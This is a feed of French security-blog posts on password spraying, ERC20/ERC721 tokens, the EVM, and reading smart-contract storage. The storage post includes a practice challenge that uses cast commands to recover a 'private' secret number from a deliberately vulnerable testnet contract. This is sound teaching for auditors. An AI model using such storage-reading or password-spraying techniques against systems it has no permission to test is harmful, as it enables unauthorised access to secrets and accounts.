hackndo

Spray passwords, avoid lockouts

Thu, 30 May 2024 14:25:55 +0000

Le password spraying, c’est une technique connue qui consiste à tester un même mot de passe sur plusieurs comptes, en espérant que ce mot de passe fonctionne pour l’un d’entre eux. Cette technique est utilisée dans beaucoup de cadres différents : Sur des applications web, du cloud, des services comme SSH, FTP, et bien d’autres. On l’utilise également beaucoup dans des tests d’intrusion au sein d’entreprises utilisant Active Directory. C’est à ce dernier cas que nous allons nous intéresser, parce que bien que la technique paraisse simple, ce n’est pas évident de la mettre en pratique sans effets de bord.

Cet article est disponible en français sur le blog de Login Sécurité ou en anglais sur en.hackndo.com

Tokens ERC20 et ERC721

Mon, 16 Oct 2023 03:13:32 +0000

Une grande partie des applications décentralisées utilisent des tokens pour fonctionner correctement. Alors que les coins sont intrinsèques à chaque blockchain (Ether pour Ethereum, par exemple, Sol pour Solana, etc.), les tokens sont des jetons qui sont créés sur une blockchain déjà existante par l’intermédiaire de smart contracts. Ainsi, à l’aide d’un smart contract, il est possible de créer un token appelé “HackndoToken” dont le symbole serait “HND”, par exemple. Ce token pourrait exister en nombre limité, et nous pourrions même faire en sorte que chaque jeton HND soit unique.

Ces tokens peuvent être transférés d’une adresse à l’autre, ils peuvent être créés, détruits, gardés dans un “coffre”, etc. Cependant, si chacun crée son token dans son coin, avec ses propres règles, ça deviendrait rapidement un joyeux bazar. Certains tokens pourraient avoir une fonction transfer pour transférer un token, d’autres pourraient utiliser send(), sendTo(), transferToken(), ou même functionToTransferATokenToSomeoneLikeYouuuuu(). Bref, on ne s’en sortirait pas. Il ne serait pas possible d’échanger un token contre un autre sans répertorier toutes les fonctions de tous les tokens existants.

C’est pourquoi, comme pour chaque technologie émergente, un standard doit être utilisé pour faciliter la communication entre applications, entre tokens. Ainsi, plusieurs améliorations de Ethereum (Ethereum Improvement Proposal - EIP) ont été proposées afin de définir différents standards de tokens en fonction des besoins des applications.

Tokens fongibles - ERC20

La proposition d’amélioration #20 décrit un standard de token “classique”. Cette proposition a été acceptée, et les détails de ce standard sont accessibles à cette adresse. Comme c’était l’issue #20 qui était à l’origine de cette standardisation, on appelle ce standard ERC20 (ERC pour Ethereum Request for Comments)

Quand je dis que c’est un token “classique”, cela signifie que c’est un token avec les propriétés de base. Il a un nom, un symbole, et peut être transféré d’une adresse à une autre. Tous les tokens (du même type) sont équivalents, tout comme deux tickets de bus d’une même ville sont équivalents. Ces tickets, comme ces tokens (ou comme les Ethers), sont interchangeables. On les appelle alors des tokens fongibles.

En réalité, avoir un nom ou un symbole, ce n’est même pas obligatoire. C’est uniquement pratique pour les humains, pour aider à distinguer des tokens autrement que par leur adresse. C’est un peu comme des URL, bien plus pratique à retenir que des adresses IP. Ces deux informations, si elles sont utilisées, doivent être accessibles par les méthodes suivantes :

Une autre information optionnelle peut être fournie, c’est le nombre de décimales supportées par le token. Si le token “HND” a 8 décimales, alors pour avoir 1 HND, il faut en réalité en avoir 100 000 000 ! C’est comme l’euro, il faut 100 centimes pour avoir un euro. Il faudrait alors 10^8 fractions de HND pour avoir 1 HND. Ainsi, si un utilisateur a 150 000 000 HND, une application web indiquera qu’il en a 1.5 (150 000 000 / 100 000 000).

Cette information peut alors être accessible via la méthode suivante :

Outre ces trois informations qui sont plutôt d’ordre de la représentation, pour faciliter leur usage par des humains, ces jetons doivent impérativement implémenter les fonctions suivantes :

// Cette fonction doit renvoyer le nombre total de jetons existants (qu'ils aient été distribués, ou non).
// S'il n'y a que 1 HND, avec 8 décimales, cette fonction renvoie 100 000 000.
function totalSupply() public view returns (uint256)

// Retourne le nombre de jetons possédés par une adresse.
function balanceOf(address _owner) public view returns (uint256 balance)

// Permet de transférer des jetons à une autre adresse.
function transfer(address _to, uint256 _value) public returns (bool success)

// Permet de transférer des jetons d'une adresse source vers une adresse de destination.
// Pour que cela fonctionne, il faut que l'adresse source ait préalablement autorisé celui
// qui effectue ce `transferFrom` à effectuer ce transfert de tokens (ça serait trop facile sinon ;))
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)

// C'est avec cette fonction qu'il est possible de déléguer à un compte la dépense d'un nombre
// défini de tokens. Cette fonction doit être appelée avant que le compte délégué ne puisse
// utiliser la fonction `transferFrom()`.
function approve(address _spender, uint256 _value) public returns (bool success)

// Cette fonction retournera le nombre de tokens qu'un compte peut dépenser au nom d'un autre compte.
function allowance(address _owner, address _spender) public view returns (uint256 remaining)

Exemple

En ayant en tête toutes ces fonctions, il devient alors possible de créer un tout nouveau jeton depuis zéro avec Solidity !

Attention, cet exemple est donné à titre indicatif. Il n’est absolument pas adapté à de la production.

Ce contrat peut être compilé et déployé sur la blockchain Ethereum afin d’y créer un nouveau token. Incroyable n’est-ce pas ?

Ce type de token (cet exemple, ou un autre) peut représenter un peu ce qu’on veut. Ça peut être l’équivalent d’une somme d’argent dans un jeu vidéo, des points de compétence, des parts dans une entreprise (centralisée ou non), etc.

Dans cet exemple, nous avons écrit un token depuis zéro. Cependant, pour éviter les erreurs, et pour que la standardisation se passe au mieux, il est tout à fait possible de ne pas réinventer la route, et d’utiliser une version auditée et éprouvée, telle que celle proposée par OpenZeppelin.

Tokens non fongibles (NFT) - ERC721

Les NFT (Non-Fungible Tokens) sont une catégorie de tokens qui ont pour spécificité d’être non fongibles. Cela signifie que deux tokens, bien que provenant du même smart contract, sont différents. On peut comparer cette notion à des cartes qu’on peut collectionner. Bien que ce soit la même entreprise qui édite des cartes représentant, par exemple, les meilleurs hackers de la planète, chaque carte représente un hacker en particulier. Elle est certes de la même collection, mais n’est pas équivalente à une autre carte, représentant une autre personne.

Pour standardiser des tokens ayant cette notion d’unicité, une nouvelle demande d’amélioration de Ethereum a été faite, la #721, et ce nouveau standard est décrit dans la documentation de Ethereum, et est appelé ERC721.

Afin de s’assurer que chaque token provenant du même smart contract est unique, une nouvelle variable est introduite, tokenId. Cette variable doit être unique pour chaque token d’un smart contract afin de suivant le standard ERC721.

En plus de cette variable, les méthodes suivantes doivent être implémentées :

On retrouve quelques fonctions ressemblant de près ou de loin aux fonctions d’un token ERC20 (balanceOf, transferFrom, approve par exemple). Cependant, deux autres méthodes méritent un peu plus de détails.

safeTransferFrom

La première, c’est safeTransferFrom(). Cette méthode existe pour éviter que des NFT ne soient envoyés à des contrats ne sachant pas gérer des NFT. Si c’était le cas, le contrat de destination n’ayant pas été créé pour gérer des NFT, aucune fonction ne permettrait de gérer le NFT nouvellement reçu. Cela signifierait que ce NFT ne pourrait pas être acheté par quelqu’un, ou récupéré de quelconque manière que ce soit. Il serait bloqué dans ce contrat at vitam. On imagine très bien que, lorsqu’on propose une collection limitée de quelque chose, on souhaite éviter d’en perdre dans la nature, inutilisables, non échangeables.

Pour éviter ce genre de problème, lorsque la fonction safeTransferFrom() est appelée pour envoyer des tokens à un contrat, le contrat de destination doit impérativement avec une fonction spéciale, onERC721Received

Cette fonction va être appelée par le contrat du token, et s’attend à une réponse très spécifique. Si cette fonction n’existe pas dans le contrat de destination (ou si la fonction existe mais ne retourne pas ce qui est attendu) alors le transfert de NFT va être annulé. Ainsi, pour recevoir des NFT via safeTransferFrom, un contrat doit avoir explicitement prévu cette fonction. Comme cette fonction n’existe que pour valider un safeTransferFrom, en règle générale, si un contrat a prévu cette fonction, c’est qu’il est capable par ailleurs de gérer des NFT.

La présence de onERC721Received n’est pas une garantie que le contrat sache gérer des NFT. On pourrait très bien créer un contrat qui implémente uniquement onERC721Received, et rien d’autre. Cet appel à cette callback est plutôt une sorte de garde-fou pour éviter des erreurs bêtes.

setApprovalForAll

L’autre fonction qui mérite un point d’attention est setApprovalForAll, tout simplement parce qu’elle peut être dangereuse. En effet, lorsqu’un utilisateur utilise cette fonction pour approuver une adresse de destination, ça permet à la destination de gérer TOUTE la collection de NFT de l’utilisateur. Quand on parle de “gérer”, ça veut dire que la destination peut envoyer les NFT de l’utilisateur à des adresses de destination arbitraires. Il pourrait les envoyer à l’adresse nulle (0x0), ce qui ferait perdre ces NFT pour toujours, ou même se les envoyer à lui-même. Une fois le transfert terminé, l’utilisateur n’a aucun moyen de les récupérer.

Cette fonction, dangereuse, est donc à n’utiliser qu’en cas d’absolue confiance en le destinataire (si c’est un EOA) ou absolue compréhension du code (si la destination est un smart contract).

Exemple

Voici un exemple d’implémentation de ERC721 from scratch permettant de voir une implémentation simpliste des fonctions.

Attention, cet exemple est donné à titre indicatif. Il n’est absolument pas adapté à de la production.

Tout comme avec ERC20, il existe une version de ERC721 proposée par OpenZeppelin qui permet de ne pas tout réinventer, et d’utiliser une base de code solide et éprouvée.

Conclusion

Ces deux standards sont les plus connus, mais ils sont loin d’être les seuls existants. En effet, les tokens peuvent être utilisés pour tellement d’applications que des standards se développent (et parfois meurent) à mesure que de nouvelles idées d’utilisation sont mises en avant.

Bien comprendre comment fonctionnent ces tokens est essentiel pour tout bon auditeur, puisqu’ils sont extrêmement courants dans les applications décentralisées, ou dApps.

Données sensibles d'un smart contract

Tue, 03 Oct 2023 08:09:08 +0000

Vous vous souvenez des différents espaces de stockages auxquels a accès l’EVM ? Celui comparable au disque dur d’un ordinateur est le account storage. C’est cette zone mémoire dans laquelle l’état du contrat est enregistré. Mais vous vous souvenez aussi que la blockchain Ethereum est une machine a états décentralisée, accessible en lecture à tout le monde ? Vous voyez où je veux en venir ? Toutes les données enregistrées par un smart contract peuvent être lues par tout le monde. Si jamais des données sensibles sont enregistrées par un smart contract, nous serons en capacité de les lire.

Rappels sur la mémoire

La mémoire de l’EVM est organisée de la manière suivante :

Nous avons décrit dans l’article sur l’EVM l’utilité des différentes zones mémoires, et leur organisation.

Ce qui nous intéresse dans cet article, c’est le account storage, le stockage permanent du compte du smart contract. C’est dans cette zone de stockage que le contrat enregistrera ses variables qui doivent être persistantes sur la blockchain. Par exemple, si un smart contract gère une inscription à un événement, il est nécessaire que la liste des inscrits soit enregistrée, et puisse être modifiée. C’est typiquement pour ce type d’informations que l’acount storage est utilisé.

Voici pour rappel à quoi ressemble cette zone mémoire :

Elle est organisée en slots, qui fonctionnent comme un index. Il y a 2**256 emplacements, et dans chaque emplacement on peut stocker 256 bits.

Si un contrat (écrit avec Solidity) souhaite enregistrer des variables dans cet espace (qu’on appellera state variables), il doit les déclarer en dehors des fonctions.

contract Hackndo {
  /**
   * Variables d'état enregistrées dans le Account Storage
   */
  uint256 id = 7; 
  uint256 totalAmount = 1000;

  /**
   * Code du contrat
   */
  constructor() {
    // Code
  }

  function test() external {
    // Variable locale (non enregistrée sur la blockchain)
    uint256 localVariable = 0;
  }

  function update() external {
    id++;
    totalAmount = 0;
  }
}

Les variables id et totalAmount seront enregistrées dans le account storage de ce contrat, et seront accessibles par toutes les fonctions de ce contrat. Si elles sont mises à jour par une fonction (comme update()), le account storage du contrat sera mis à jour et ces nouvelles valeurs seront disponibles pour les prochaines transactions.

Visibilité des variables

Avec Solidity, la visibilité d’une variable peut être définie de trois manières différentes :

public : La variable est accessible en lecture par d’autres smart contracts. Un getter est automatiquement créé. On peut donc la lire en appelant la fonction id() ou totalAmount() par exemple.
internal : La variable ne peut être lue ou modifiée que par le contrat dans lequel elle est définie, ou les contrats qui héritent de ce contrat. C’est la visibilité par défaut des variables.
private : La variable ne peut pas être lue ou modifiée par d’autres smart contract que celui dans lequel elle est définie.

Les définitions des variables internal et private présentes dans la documentation de Solidity peut porter à confusion :

Internal state variables can only be accessed from within the contract they are defined in and in derived contracts. They cannot be accessed externally. This is the default visibility level for state variables.

Private state variables are like internal ones but they are not visible in derived contracts.

Sans méfiance, nous pourrions croire qu’en définissant une variable internal ou private, cette variable ne pourra être lue par personne d’autre que le contrat lui-même, ou les contrats qui en héritent, donc qu’on pourrait stocker des informations confidentielles.

Les variables internal et private sont uniquement privées dans le cadre du smart contract. Cependant, leurs valeurs peuvent être librement lues en dehors de la blockchain par n’importe qui, donc elles ne cachent pas les données dans ce sens.

Organisation de l’account storage

En tant qu’attaquant, il est alors nécessaire de bien comprendre comment les variables sont enregistrées dans le account storage.

Ordre de stockage

Le premier élément à comprendre est que les storage variables sont stockées par le compilateur de Solidity dans l’ordre de déclaration. Dans l’exemple donné au-dessus, la variable id sera stockée en première, puis la variable totalAmount.

Si aucune valeur n’est assignée à la variable, elle prendra la valeur par défaut 0x00, et son slot est tout de même réservé.

Lors de la compilation du smart contract, le compilateur va tenter d’optimiser l’espace de stockage nécessaire. Pour cela, si des variables peuvent rentrer dans le même slot de 32 octets, elles seront mises dans le même slot.

Par exemple, si les variables d’état sont les suivantes :

contract Hackndo {
  /**
   * Variables d'état enregistrées dans le Account Storage
   */
  uint32 var1 = 7; 
  uint32 var2 = 15;
  uint128 var3 = 10;
  uint128 var4 = 9;
  uint32 var5 = 2;
  uint8 var6 = 3;
}

La taille d’un slot est de 256 bits. Les 3 premières variables occupent 32+32+128 = 192 bits. On ne peut pas ajouter, dans le même slot, la 4ème variable, car il ne reste plus que 64 bits disponibles. Elle va donc dans le deuxième slot, avec la 5ème et la 6ème variable. En effet, la taille de var4, var5 et var6 vaut 128+32+8 = 168 bits, ce qui rentre dans un slot.

Ce qui donne, dans le storage, les données suivantes :

# Slot 0
0x0000000000000000 0000000000000000000000000000000a 0000000f 00000007
#      empty                     var3                 var2     var1

# Slot 1
0x00000000000000000000 0003 00000002 00000000000000000000000000000009
#        empty         var6   var5                 var4

Constant & Immutable

Avec Solidity, les mots clés constant et immutable peuvent être utilisés sur des variables d’état.

Si une variable est définie comme constant, une valeur doit lui être attribuée au moment de sa déclaration, et cette valeur ne pourra plus jamais être changée.
Si une variable est définie comme immutable, une valeur doit lui être attribuée, soit au moment de sa déclaration, soit dans le constructeur.

Ce que ces deux types de variable ont en commun, c’est que toutes les utilisations de ces variables dans le code seront remplacées par leur valeur par le compilateur avant que le bytecode ne soit enregistré sur la blockchain. Donc en fait, ces notions de constant et immutable n’existent pas pour l’EVM. C’est juste quelque chose de pratique pour les développeurs.

Si par exemple, on a le contrat suivant :

contract Hackndo {
  uint256 constant MAX_SUPPLY = 1000;
  uint256 immutable DEST_ADDR;

  constructor(address _dest_addr) {
    DEST_ADDR = _dest_addr;
  }

  function someFunc(uint _value) {
    require(_value < MAX_SUPPLY, "MAX_SUPPLY reached");
    require(msg.sender == DEST_ADDR, "Not allowed");

    // Some code
  }
}

Deux variables MAX_SUPPLY et DEST_ADDR sont déclarées. Cependant, elles seront remplacées par leur valeur lorsque le contrat sera déployé sur la blockchain. Donc finalement, si ce code est déployé par l’adresse 0x1234..., il est exactement équivalent à :

contract Hackndo {

  function someFunc(uint _value) {
    require(_value < 1000, "MAX_SUPPLY reached");
    require(msg.sender == 0x1234..., "Not allowed");

    // Some code
  }
}

D’un point de vue bytecode, les variables constant et immutable n’existent pas. Donc si on voit ce type de variable dans un contrat, il ne faut pas les prendre en compte dans le calcul des slots.

Stockage des variables

Maintenant que nous avons clarifié quelles variables étaient stockées dans le storage, et l’optimisation permettant de limiter la taille de storage utilisée, voyons comment les différents types de variables sont techniquement enregistrés.

Entiers et booléens

Nous l’avons vu dans les exemples précédents, les entiers (et booléens) sont simplement enregistrés dans le slot qui correspond. La taille maximale d’un entier était 256 bits, il ne pourra jamais être plus grand que la taille prévue par un slot, de 256 bits également.

Tableau

Lorsqu’un tableau a une taille définie, alors ses éléments sont stockés les uns à la suite des autres en suivant les règles déjà vues.

Mais un tableau peut avoir une taille dynamique. Or, on ne va pas modifier les slots de toutes les variables qui suivent le tableau à chaque fois que la taille de ce dernier change. Chaque élément du tableau a alors un slot particulier dans lequel il est enregistré.

Ainsi, seule la taille du tableau est stockée dans le slot qui suit les règles que nous avons décrites (donc si un tableau dynamique est stocké dans le slot 3, on trouvera sa taille dans ce slot).

Pour trouver le premier élément du tableau, il faut calculer keccak256(abi.encode(arrayIndex)) (arrayIndex serait 3 dans le cas précédent). Ce résultat est un hash de 256 bits, qui correspond au numéro du slot dans lequel se trouve ce premier élément du tableau. Les éléments suivants sont tout simplemenet dans les slots suivants.

Mapping

Pour un mapping, un slot est réservé pour déterminer son index de base mais rien n’est stocké à cet endroit, contrairement aux tableaux pour lesquels la taille est stockée.

En effet, pour accéder à un élément d’un mapping, on n’utilise pas un index, mais la clé de l’élément pour découvrir sa valeur.

Pour déterminer où se trouve une valeur du mapping en fonction de sa clé, il faut calculer le hash qui concatène la clé de l’élément recherché, et le slot réservé au mapping (key + slot). Ainsi, la fonction keccak256(abi.encode(key, slot)) doit être appliquée. Comme pour les tableaux, cette fonction retourne un hash, qui correspond au slot auquel se trouve la valeur de key.

String

Les chaines de caractères de moins de 32 octets sont enregistrées dans un slot. Les bits de poids fort sont utilisés pour stocker la chaine, et ceux de poids faible pour indiquer la longueur de la chaine multipliée par 2 longueur*2.

Si elle fait 32 octets ou plus, alors le slot réservé à la chaine contient la longueur de la chaine multipliée par deux, auquel on ajoute 1, longueur*2+1, et l’emplacement où se trouve la chaine est tout simplement le hash du slot réservé.

Par exemple, si une longue chaine est censée se trouver dans le slot 2, alors l’adresse où se trouve réellement la chaine peut être trouvée avec la fonction keccak256(abi.encode(2)).

➜ bytes32 slot = keccak256(abi.encode(2));
➜ slot
Type: bytes32
└ Data: 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace

Cette technique de stocker le double de la longueur de la chaine, ou le double auquel on ajoute 1, permet de savoir si on stocke une chaine inférieure à 32 octets ou supérieure à 32 octets. Si le bit de poids faible de la taille est 1, c’est que la chaine fait plus de 32 octets. Sinon, elle fait moins que 32 octets. En enlevant ce bit, et en divisant la taille par 2, on obtient la taille réelle de la chaine.

Structure

Enfin, les variables dans une structure sont stockées les unes à la suite des autres, comme si c’était des variables indépendantes. Si, dans la structure, il y a des types dynamiques (tableau, mapping etc.), alors les règles qu’on a vues s’appliquent.

Exemple

Voici un exemple pour résumer ce qu’on a vu jusque là :

// Définition d'une structure
struct Coin {
    string name;
    uint256 price;
}


// Définition du contrat d'exemple
contract StorageContract {
    uint256 constant MAX_SUPPLY = 1000;
    address immutable DEST_ADDR;
    uint256 totalSupply = 10;
    string author = "pixis";
    string description = "This is an example of storage layout made by pixis. All details in https://hackndo.com";
    uint[] coinsId = [1,2,10,12];
    mapping (string=>address) accounts;
    Coin coin = Coin("PixCoin", 0x1000);

    constructor() {
        DEST_ADDR = msg.sender;
        accounts["pixis"] = msg.sender;
        accounts["empty"] = address(0x0);
    }
}

Quand on déploie ce contrat, voici à quoi ressemble le storage :

Essayons de décortiquer tout ça. Déjà, les deux premières variables MAX_SUPPLY et DEST_ADDR ne sont pas stockées dans le storage, donc aucun slot n’est réservé pour ces variables.

Ensuite, les variables suivantes ont un slot assigné, dans l’ordre dans lequel elles sont déclarées.

Pour effectuer les calculs, j’utilise chisel de la suite Foundry.

totalSupply est un entier de 256 bits, donc un slot entier lui est réservé, le slot 0. Sa valeur est 10, donc 0x0a
author est une chaine de caractères de moins de 32 octets. Elle est donc stockée dans le slot suivant, le slot 1, au niveau des bits de poids fort. Sa taille, multipliée par deux ( 5*2 = 10 = 0x0a) est stockée dans les bits de poids faible.
description est quant à elle une chaine de 86 octets, donc supérieure à 32 octets. Ainsi, son slot 2 contient le double de sa taille, auquel on ajoute 1 (rappelez-vous, en ajoutant 1, ça indique que la chaine fait plus de 32 octets), donc 86*2+1 = 173 = 0xad. Le slot contenant la chaine correspond au hash du slot de la chaine, donc de 2. Or keccak256(abi.encode(2)) = 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace donc le slot 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace contient la chaine de caractères.
coinsId est un tableau contenant 4 éléments. Sa taille 0x04 est donc renseignée dans son slot 3. Les slots de ces 4 éléments sont calculés comme suit :
- Index 0 : keccak256(abi.encode(3)) = 0xc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b. Pour les autres éléments, on incrémente le slot de 1 à chaque fois.
- Index 1 : 0xc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85c
- Index 2 : 0xc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85d
- Index 3 : 0xc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85e
accounts est un mapping dont le slot est 4. On remarque que ce slot est vide, c’est normal. La taille du mapping n’est pas stockée. Pour trouver la valeur d’une clé en particulier, il faut utiliser la fonction keccak256(abi.encodePacked(key, slot)) donc :
- accounts["pixis"] se trouve au slot keccak256(abi.encodePacked("pixis", uint(4))) = 0x47e3196153c18a6193d6b7b92ecf7ea03bc91cce35ccd718094e10f1c50bd1e9
- accounts["empty"] se trouve au slot keccak256(abi.encodePacked("empty", uint(4))) = 0xace73dd693559189ef5ccbbc8f81155ea53ec7259b948d81d0791cf64125f053
coin est une structure contenant deux éléments. Ils sont donc positionnés dans les slots 5 (name, inférieur à 32 octets) et 6 (price, valant 0x1000).

Avec toutes ces explications, on est capable de comprendre l’ensemble de l’account storage de ce contrat, une fois déployé.

Lecture de la mémoire

C’est génial, on est capable de lire et comprendre l’espace de stockage des contrats, mais concrètement, comment est-ce qu’on accède à l’espace de stockage d’un contrat déjà déployé sur la blockchain ?

Différents outils permettent de lire les slots du storage d’un contrat. Personnellement, j’utilise l’outil cast de la suite foundry.

En effet, lorsque vous installez foundry sur votre machine, différents outils sont installés :

Forge: Framework pour effectuer des tests sur Ethereum
Cast: Outil pour interagir avec les smart contracts et la blockchain
Anvil: Nœud Ethereum local
Chisel: Outil REPL pour exécuter rapidement du code Solidity

L’outil cast est très pratique pour lire les slots d’un contrat. La syntaxe est la suivante :

cast storage 0xcontract_address slot_number [--rpc-url RPC_URL]

Par exemple, pour lire le slot 0 du contrat à l’adresse 0x099A3B242dceC87e729cEfc6157632d7D5F1c4ef sur Ethereum (contrat pris au hasard), la ligne de commande suivante peut être utilisée :

cast storage 0x099A3B242dceC87e729cEfc6157632d7D5F1c4ef 0 --rpc-url https://eth.llamarpc.com 
0x0000000000000000000000000000000000000000000000000000000000000001

Il y a donc la valeur 0x01 dans le slot 0 du contract. Nous pouvons faire une boucle pour lire les 6 premier slots :

for I in {0..5} 
do
    echo "SLOT $I: " $(cast storage $CONTRACT_ADDR $I --rpc-url $RPC_URL)
done
SLOT 0:  0x0000000000000000000000000000000000000000000000000000000000000001
SLOT 1:  0x0000000000000000000000000000000000000000000000000000000000000000
SLOT 2:  0x00000000000000000000000000000000000000000000000000c6645100000000
SLOT 3:  0x0000000000000000000000000000000000000000000000000000000000000205
SLOT 4:  0x000000000000000000000000000000000000000003f806d77433774f8c683600
SLOT 5:  0x0000000000000000000000000000000000000000000000000000000000c6647c

Mise en pratique

Un contrat est déployé à l’adresse 0x84229eeFb7DB3f1f2B961c61E7CbEfd9D4c665E3 sur le réseau de test Sepolia.

Ce contrat est un jeu dont le code est :

pragma solidity ^0.8.9;

contract GuessingGame {
    address public owner;
    mapping(address => bool) public hasGuessed;
    uint256 private secretNumber; // Déclarée comme private. Est-ce vraiment privé ?
    
    
    constructor() {
        owner = msg.sender;
        secretNumber = 12345; // Ce n'est pas le vrai numéro
    }

    function guess(uint256 _number) public {
        if (_number == secretNumber) {
            hasGuessed[msg.sender] = true;
        }
    }

    function isWinner(address _addr) public view returns (bool) {
      return hasGuessed[_addr];
    }
}

Le but est d’appeler la fonction guess() en fournissant un numéro. Si vous tombez sur le bon numéro, vous avez gagné, et vous pourrez le prouver avec la fonction isWinner().

Comme nous l’avons vu dans cet article, la variable secretNumber a été déclarée comme private, mais cela ne vas pas nous empêcher de récupérer cette valeur. Pour cela, utilisons l’outil cast.

Pour vous inciter à essayer, le résultat fourni an dessous n’est pas le résultat réel. A vous de trouver la vraie valeur secrète ! La logique reste la même.

RPC_URL=https://rpc2.sepolia.org                                        
CONTRACT_ADDR=0x84229eeFb7DB3f1f2B961c61E7CbEfd9D4c665E3

for I in {0..3}
do
    echo "SLOT $I: " $(cast storage $CONTRACT_ADDR $I --rpc-url $RPC_URL)
done

# Output
SLOT 0:  0x00000000000000000000000031d6273610256e6cefd6f26a503c72bb2bdcfe15
SLOT 1:  0x0000000000000000000000000000000000000000000000000000000000000000
SLOT 2:  0x0000000000000000000000000000000000000000000000000000000042424242
SLOT 3:  0x0000000000000000000000000000000000000000000000000000000000000000

Nous voyons que les trois premiers slots sont utilisés. Le premier correspond à la première variable d’état, c’est à dire l’adresse owner. La deuxième variable semble vide, mais c’est normal. C’est le slot utilisé par le mapping hasGuessed. secretNumber est quant à elle enregistrée dans le 3ème slot, et sa valeur est 0x42424242.

Félicitations, vous avez découvert une variable secrète dans un contrat déployé sur un réseau Ethereum !

Pour interagir avec le contrat, toujours avec l’utilitaire cast, voici comment procéder :

# Pour créer une transaction, on utilise cast send
# Afin de pouvoir signer la transaction, la clé privée doit être fournie.
cast send $CONTRACT_ADDR "guess(uint256)" "10" --private-key 0xabcdabcd...abcd --rpc-url $RPC_URL


# Pour lire des informations sans modifier le storage, on utilise cast call.
# isWinner() n'écrit rien dans le storage, donc pas besoin de lui donner de clé privée. C'est uniquement de la lecture d'information.
# Si l'output est 0, votre adresse n'a toujours pas trouvé le bon numéro.
# Si l'output est 1, félicitations, vous avez trouvé le numéro secret !
cast call $CONTRACT_ADDR "isWinner(address)" "votre addresse" --rpc-url $RPC_URL

A vous de jouer !

Ethereum Virtual Machine

Wed, 19 Jul 2023 08:12:43 +0000

Ethereum Virtual Machine (EVM) est une machine virtuelle qui permet de gérer des transactions dans la blockchain Ethereum par le biais de smarts contracts. C’est un composant essentiel au fonctionnement de Ethereum que nous allons tenter de comprendre ensemble.

EVM

Pour exécuter des smart contracts (des programmes dans le monde Ethereum), des règles doivent être suivies. Ces règles sont en partie décrites dans le Yellow Paper de Ethereum, et peuvent être implémentées par n’importe qui dans n’importe quel langage. Il existe ainsi une version python de EVM (py-evm), une version Rust (revm), ou encore une version Go (go-evm). Cette liste n’est évidemment pas exhaustive.

Opcodes

Un des éléments essentiels de l’EVM (comme tout ordinateur, en soit) est de pouvoir lire et exécuter des instructions, ou opcodes. Les instructions Ethereum sont décrites dans le site officiel de Ethereum, Opcodes for the EVM. Le site evm.codes est également très bien fait.

C’est ce type de code qui est compris par l’EVM. Il est généré lorsqu’un langage haut niveau est compilé. L’un des langages les plus utilisés pour écrire des smart contracts est Solidity.

Voici un exemple très simple de smart contract écrit avec Solidity.

// SPDX-License-Identifier: GPL-3.0

pragma solidity 0.8.18;

contract HackndoMembers {
    // Déclaration de variables persistantes dans la blockchain
    address public owner;

    address[] public members;
    uint private memberCount;

    // Constructeur, exécuté lors du déploiement du smart contract
    constructor() {
        owner = msg.sender;
    }

    // Fonction exposée publiquement pour s'ajouter en tant que membre
    function becomeMember() external {
        members.push(msg.sender);
        memberCount++;
    }

    // Fonction exposée publiquement permettant de trouver un membre
    function getMember(uint _id) external view returns(address member) {
        require(_id < memberCount, "id too big");
        require(members[_id] != 0x00, "Not a member");

        member = members[_id];
    }

    // Fonction uniquement accessible au créateur du smart contract pour supprimer un membre
    function removeMember(uint _id) external {
        require(msg.sender == owner, "Owner only");
        members[_id] = address(0x0);
    }
}

Une fois compilé, ce programme sera une suite d’instructions compris par l’EVM. L’outil solc permet de compiler du Solidity.

$ solc contract.sol --bin        

======= contract.sol:HackndoMembers =======
Binary:
608060405234801561001057600080fd5b5033600080610100[...]

Il permet d’ailleurs de voir les instructions générées.

$ solc contract.sol --opcodes

======= contract.sol:HackndoMembers =======
Opcodes:
PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 [...]

Parmi ces instructions, certaines permettent d’effectuer des opérations mathématiques, comme add, sub, mul, ou encore div par exemple. D’autres permettent de comparer des éléments comme lt (Lower Than), gt (Greater Than) ou eq.

Il est possible de lire et d’écrire dans différentes zones de stockage, telles que la memory avec mLoad, mStore, ou le storage avec sLoad, sStore par exemple.

La gestion de la stack (autre zone mémoire) est effectuée avec des opcodes tels que push1, push2, …, push32, et pop.

Ces différents types de stockages seront abordés plus tard dans cet article.

Un contrat peut faire des appels à d’autres fonctions, potentiellement d’autres contrats, via call, staticCall et delegateCall.

Enfin, l’instruction revert permet d’effectuer une sorte d’exception qui met fin à l’appel en cours. Dans la plupart des cas, la transaction sera considérée comme invalide, et aucun changement ne sera effectué.

Ces différents exemples sont loin d’être exhaustifs, mais ils donnent une idée sur ce que l’EVM doit traiter lorsqu’un smart contract est exécuté.

Gas

Chaque instruction exécutée sur les noeuds du réseau a un prix, dont l’unité est le gas. A titre d’exemple, exécuter un add coûte 3 gas, un pop n’en coûte que 2.

Lors de l’appel à une fonction d’un smart contract, un utilisateur doit payer le prix nécessaire à l’exécution des instructions. Il doit donc fournir suffisamment de gas lors de sa transaction. S’il en a trop fourni, ce n’est pas grave, le surplus lui sera remboursé.

S’il n’en a pas fourni assez, en revanche, les instructions vont être exécutées jusqu’à ce que les ressources en gas s’épuisent. Lorsque c’est le cas, la transactions est annulée, et le gas fourni par l’utilisateur est perdu. En effet, bien que la transaction soit annulée, il a quand même fallut des ressources pour s’en rendre compte, c’est donc trop tard.

Cette notion de gas a été introduite pour éviter que des ressources soient utilisées inutilement, notamment pour éviter des boucles infinies ou des attaques qui encombreraient le réseau. Il existe d’ailleurs un maximum de gas possible dans un même bloc (actuellement 30 millions de gas).

Solidity

Pour la suite de cet article, ayez en tête que l’EVM, finalement, ne fait qu’exécuter des opcodes, les uns après les autres. Elle offre également différents espaces de stockage vides qui peuvent être utilisés, et c’est tout. Comment ces opcodes sont organisés ou comment les données sont structurées, c’est au rôle du compilateur de gérer tout ça.

